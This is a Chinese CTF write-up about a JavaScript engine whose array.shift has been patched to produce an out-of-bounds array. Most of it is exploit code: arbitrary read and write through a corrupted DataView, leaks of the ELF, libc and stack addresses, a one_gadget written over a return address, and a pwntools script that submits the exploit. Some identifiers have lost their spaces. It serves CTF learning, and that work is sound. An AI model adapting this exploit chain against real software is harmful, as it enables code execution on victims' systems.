解题过程

本题将 array.shift 进行了 patch ,每一次 shift 会将 length 减 2 ,那么当 length 为 1 的时候进行一次 shift 便可以得到一个 oob array ,之后便是常规的思路:

  1. leak elf_base -> leak libc_base -> leak stack_base -> write ret_addr to one_gadget

编辑exp.js。

  1. function printhex(s,u){
  2. print(s,"0x"+ u[1].toString(16).padStart(8, '0') + u[0].toString(16).padStart(8, '0'));
  3. }
  4. function hex(i){
  5. return"0x"+ i.toString(16).padStart(16, '0');
  6. }
  7. function pack64(u){
  8. return u[0] + u[1] * 0x100000000;
  9. }
  10. function l32(data){
  11. let result = 0;
  12. for(let i=0;i<4;i++){
  13. result <<= 8;
  14. result |= data & 0xff;
  15. data >>= 8;
  16. }
  17. return result;
  18. }
  19. a = [1.1];
  20. a.shift();
  21. var ab = newArrayBuffer(0x1337);
  22. var dv = newDataView(ab);
  23. var ab2 = newArrayBuffer(0x2338);
  24. var dv2 = newDataView(ab2);
  25. for(let i = 0; i < 0x90; i++){
  26. dv2 = newDataView(ab2);
  27. }
  28. a[0x193] = 0xffff;
  29. print("[+]change ab range");
  30. a[0x32] = 0xdead;
  31. for(let i = 0; i < 100000000; i ++){
  32. }
  33. var idx = 0;
  34. for(let i = 0; i < 0x5000; i++){
  35. let v = dv.getUint32(i, 1);
  36. if(v == 0x2338){
  37. idx = i;
  38. }
  39. }
  40. print("Get idx!");
  41. function arb_read(addr){
  42. dv.setUint32(idx + 4, l32(addr[0]));
  43. dv.setUint32(idx + 8, l32(addr[1]));
  44. let result = newUint32Array(2);
  45. result[0] = dv2.getUint32(0, 1)
  46. result[1] = dv2.getUint32(4, 1);
  47. return result;
  48. }
  49. function arb_write(addr,val){
  50. dv.setUint32(idx + 4, l32(addr[0]));
  51. dv.setUint32(idx + 8, l32(addr[1]));
  52. dv2.setUint32(0, l32(val[0]));
  53. dv2.setUint32(4, l32(val[1]));
  54. }
  55. var u = newUint32Array(2);
  56. u[0] = dv.getUint32(idx + 4, 1);
  57. u[1] = dv.getUint32(idx + 8, 1);
  58. print(hex(pack64(u)));
  59. var elf_base = newUint32Array(2);
  60. elf_base[0] = u[0] - 0x6f5e0;
  61. elf_base[1] = u[1];
  62. printhex("elf_base:",elf_base);
  63. var free_got = newUint32Array(2);
  64. free_got[0] = elf_base[0] + 0x6bdd0;
  65. free_got[1] = elf_base[1];
  66. printhex("free_got:",free_got);
  67. var libc_base = arb_read(free_got);
  68. libc_base[0] -= 0x9d850;
  69. printhex("libc_base:",libc_base);
  70. var environ_addr = newUint32Array(2);
  71. environ_addr[0] = libc_base[0] + 0x1ef2d0;
  72. environ_addr[1] = libc_base[1];
  73. printhex("environ_addr:",environ_addr);
  74. var stack_addr = arb_read(environ_addr);
  75. printhex("stack_addr:",stack_addr);
  76. var one_gadget = newUint32Array(2);
  77. one_gadget[0] = (libc_base[0] + 0xe6c7e);
  78. one_gadget[1] = libc_base[1];
  79. printhex("one_gadget:",one_gadget);
  80. stack_addr[0] -= 0x118;
  81. arb_write(stack_addr,one_gadget);
  82. var zero = newUint32Array(2);
  83. zero[0] = 0;
  84. zero[1] = 0;
  85. printhex("zero:",zero);
  86. stack_addr[0] -= 0x29;
  87. arb_write(stack_addr,zero);
  88. print("finish");
  89. for(let i = 0; i < 100000000; i ++){
  90. }

编辑exp。

#!/usr/bin/env python
importstring
from pwn import*
from hashlib import sha256
context.log_level = "debug"
dic = string.ascii_letters + string.digits
DEBUG = 0
def solvePow(prefix,h):
for a1 in dic:
for a2 in dic:
for a3 in dic:
for a4 in dic:
                    x = a1 + a2 + a3 + a4
                    proof = x + prefix.decode("utf-8")
                    _hexdigest = sha256(proof.encode()).hexdigest()
if _hexdigest == h.decode("utf-8"):
return x
r = remote("127.0.0.1",9998)
r.recvuntil("sha256(XXXX+")
prefix = r.recvuntil(") == ", drop = True)
h = r.recvuntil("\n", drop = True)
result = solvePow(prefix,h)
r.sendlineafter("Give me XXXX:",result)
data = open("./exp.js","r").read()
data = data.split("\n")
for i in data:
if i == "":
continue
    r.sendlineafter("code> ",i)
r.sendlineafter("code> ","EOF")
r.interactive()